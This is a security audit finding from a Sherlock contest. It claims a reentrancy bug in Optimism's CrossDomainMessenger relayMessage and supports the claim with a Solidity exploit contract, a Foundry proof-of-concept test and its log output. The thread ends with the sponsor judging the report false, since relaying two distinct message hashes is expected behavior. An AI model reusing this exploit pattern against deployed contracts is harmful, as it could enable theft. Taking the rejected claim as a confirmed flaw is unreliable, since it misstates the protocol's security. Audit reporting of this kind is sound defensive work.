ShadowForce - Reentrancy in CrossDomainMessenger#relayMessage

[sherlock-admin]

ShadowForce

high

Reentrancy in CrossDomainMessenger#relayMessage

Summary

Reentrancy in CrossDomainMessenger#relayMessage

Vulnerability Detail

In prev audit, the audit shows there is a way to make the user's withdraw transaction revert by taking the advantage of reentrancy guard.

sherlock-audit/2023-01-optimism-judging#87

The fix this issue, the protocol implements the fix such as the version hash is used to make sure the reentrancy will not happen.

ethereum-optimism/optimism#4919

The protocol does not fully remove the reentrancy protection because if the reentrancy protection is fully removed, the relayed message can be relayed multiple times.

ethereum-optimism/optimism#4919 (comment)

The other very important invariant we need to maintain here is that "cross domain messages should only be able to be successfully relayed once." With the current design, removing the reentrancy guard entirely would allow for relaying a message multiple times before the message hash was assigned to the successfulMessages or failedMessages mapping

        xDomainMsgSender = _sender;
        bool success = SafeCall.call(_target, gasleft() - RELAY_GAS_BUFFER, _value, _message);
        xDomainMsgSender = Constants.DEFAULT_L2_SENDER;

        if (success == true) {
            successfulMessages[versionedHash] = true;
            emit RelayedMessage(versionedHash);
        } else {
            failedMessages[versionedHash] = true;
            emit FailedRelayedMessage(versionedHash);

            // Revert in this case if the transaction was triggered by the estimation address. This
            // should only be possible during gas estimation or we have bigger problems. Reverting
            // here will make the behavior of gas estimation change such that the gas limit
            // computed will be the amount required to relay the message, even if that amount is
            // greater than the minimum gas limit specified by the user.
            if (tx.origin == Constants.ESTIMATION_ADDRESS) {
                revert("CrossDomainMessenger: failed to relay message");
            }
        }

because the message is marked as success or fail after the external call, if there is no reentrancy protection, certainly the invariant that
"cross domain messages should only be able to be successfully relayed once" will not hold.

However, I believe the current reentrancy protection is not sufficient enough to protect from the reentrancy.

I would like to highlight one thing before jumping into the exploit. let us take a look at the version hash schema and relay message function call

    function relayMessage(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _minGasLimit,
        bytes calldata _message
    ) external payable {
        (, uint16 version) = Encoding.decodeVersionedNonce(_nonce);
        require(
            version < 2,
            "CrossDomainMessenger: only version 0 or 1 messages are supported at this time"
        );

        // If the message is version 0, then it's a migrated legacy withdrawal. We therefore need
        // to check that the legacy version of the message has not already been relayed.
        if (version == 0) {
            bytes32 oldHash = Hashing.hashCrossDomainMessageV0(_target, _sender, _message, _nonce);
            require(
                successfulMessages[oldHash] == false,
                "CrossDomainMessenger: legacy withdrawal already relayed"
            );
        }

        // We use the v1 message hash as the unique identifier for the message because it commits
        // to the value and minimum gas limit of the message.
        bytes32 versionedHash = Hashing.hashCrossDomainMessageV1(
            _nonce,
            _sender,
            _target,
            _value,
            _minGasLimit,
            _message
        );

and

  xDomainMsgSender = _sender;
  bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);
  xDomainMsgSender = Constants.DEFAULT_L2_SENDER;

what is the important parameter when relaying a message?

_target is important

_message is important

_value can be optionally important

let us assume the caller will always supply enough gas so _minGasLimit is not important.

the nonce is used to distinguish the message, therefore if in a two relay message has same target and message calldata, we mentally assume that two call is equal.

This is a two step exploit as well, the user can first prepare two transaction relay message transaction and make sure these two transaction revert.

Then the user toggle the revert flag and call the two relay message that has the same target and call data within one transaction, which leads to reentrancy.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "./RelayMessagerReentrancy.sol";
import "forge-std/console.sol";


contract Exploit {

    RelayMessagerReentrancy messager;

    uint256 public counter;
    bool public willRevert = true;
    uint256 public value = 1 wei;

    constructor(address _messager) {
        messager = RelayMessagerReentrancy(_messager);
    }

    function setCounter(uint _counter) public {
        counter = _counter;
    }

    function setRevert(bool _val) public {
        willRevert = _val;
    }   

   function call(
        address messager,
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _minGasLimit
    ) external payable {

        if(willRevert) {
            revert("transaction reverted!");
        }

        if( counter == 2) {
            return;
        }

        counter += 1;

        uint256 oldValue = value;
        value += 1 wei;

        bytes memory message = abi.encodeWithSelector(
            Exploit.call.selector,
            messager,
            3,
            _sender,
            _target,
            0 wei,
            _minGasLimit
        );
  
        RelayMessagerReentrancy(messager).relayMessage(
            oldValue, 
            _sender, 
            _target,
            0,
            _minGasLimit, 
            message
        );

    }

}

the POC is

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/Exploit.sol";
import "../src/RelayMessagerReentrancy.sol";
import "../src/Portal.sol";
import "forge-std/console.sol";

contract CounterTest is Test {

    RelayMessagerReentrancy messager = new RelayMessagerReentrancy(address(this));
    Exploit exploit = new Exploit(address(messager));
    Portal portal = new Portal(address(messager));

    uint256 nonce = 1;
    address sender = address(this);
    address target = address(exploit);
    uint256 value = 0;
    uint256 minGasLimit = 100000000 wei;

    function createMessage() public returns (bytes memory) {

        bytes memory message = abi.encodeWithSelector(
            Exploit.call.selector,
            messager,
            3,
            sender,
            target,
            0,
            minGasLimit
        );

        return message;

    }

    function setUp() public {

        bytes memory message = createMessage();

        messager.relayMessage(
            1,
            sender,
            target,
            0,
            minGasLimit,
            message
        );

        messager.relayMessage(
            2,
            sender,
            target,
            0,
            minGasLimit,
            message
        );

        exploit.setRevert(false);

    }

    function testReentrancy() public {

        console.log();
        console.log("phrase 2");

        bytes memory message = createMessage();

        exploit.call(
            address(messager),
            nonce,
            sender,
            target,
            0,
            minGasLimit
        );

    }

}

basically in the set up, the user prepare two failed transaction and toggle the will revert flag and call

exploit.call => CrossDomainMessager#relayMessage with same target and calldata but different nonce => exploit.call => CrossDomainMessager#relayMessage with same target and calldata but different nonce => transaction complete.

because two transactions has different nonce, the version hash has would be different and bypass the reentrancy protection. user can also use _value and _value + 1 wei in two messages or _minGasLimit and _minGasLimit + 1 wei in two messages to result in the output of different versionHash but still use the same target and message call data.

        // We use the v1 message hash as the unique identifier for the message because it commits
        // to the value and minimum gas limit of the message.
        bytes32 versionedHash = Hashing.hashCrossDomainMessageV1(
            _nonce,
            _sender,
            _target,
            _value,
            _minGasLimit,
            _message
        );

        // Check if the reentrancy lock for the `versionedHash` is already set.
        if (reentrancyLocks[versionedHash]) {
            revert("ReentrancyGuard: reentrant call");
        }
        // Trigger the reentrancy lock for `versionedHash`
        reentrancyLocks[versionedHash] = true;

We are running the test

forge test -vvv --match testReentrancy

the output is

Running 1 test for test/RelayMessagerReentrancy.t..sol:CounterTest
[PASS] testReentrancy() (gas: 145612)
Logs:
  ------ calling contract -----
  target and message
  0x2e234dae75c793f67a35089c9d99245e1c58470b
  0xca5c88140000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000030000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e100
  -----
  reentrant function call result
  false
  ------ calling contract -----
  target and message
  0x2e234dae75c793f67a35089c9d99245e1c58470b
  0xca5c88140000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000030000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e100
  -----
  reentrant function call result
  false

  phrase 2
  ------ calling contract -----
  target and message
  0x2e234dae75c793f67a35089c9d99245e1c58470b
  0xca5c88140000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000030000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e100
  ------ calling contract -----
  target and message
  0x2e234dae75c793f67a35089c9d99245e1c58470b
  0xca5c88140000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000030000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e100
  -----
  reentrant function call result
  true
  -----
  reentrant function call result
  true

Test result: ok. 1 passed; 0 failed; finished in 1.79ms

The full POC is linked below:

https://drive.google.com/file/d/1rT30Zr9e5HCGxL3yYSK9jbV5VkytokqC/view?usp=sharing

Impact

the impact is severe because using the two-step exploit and intentionally preparing failed revert message, user can use reentrancy to replay message multiple times within one transaction.

Code Snippet

https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L290-L384

Tool used

Manual Review, Foundry POC

Recommendation

We recommend the protocol add more strict reentrancy protection to preserve the invariant that

cross domain messages should only be able to be successfully relayed once

[GalloDaSballo]

OFF because it doesn't show any bening tx reverting

You have to send your own nonce (you sent the withdrawal) and then burn it

This is self-caused with the POC provided

[Jiaren-tang]

The report shows that reverted tx can be used for reentrancy.

This is a two-step exploit as well, the user can first prepare two transaction relay message transactions and make sure these two transactions revert.

Finalize withdraw function is not only the function that calls relay Message. Relay message can be called a lot when performing cross-chain message call starting from sendMessage.

Will wait for Optimism team/sherlock team to judge.

[hrishibhat]

Sponsor comment:
This report is false. The reporter gives a proof of concept showing that it is possible to reenter the CrossDomainMessenger's relayMessage function for two unique cross domainmessage hashes, which is expected behavior. It is okay if these two unique messages call the same target with the same payload, as they are unique. The invariant here specifies that the same cross domain message can only be relayed once.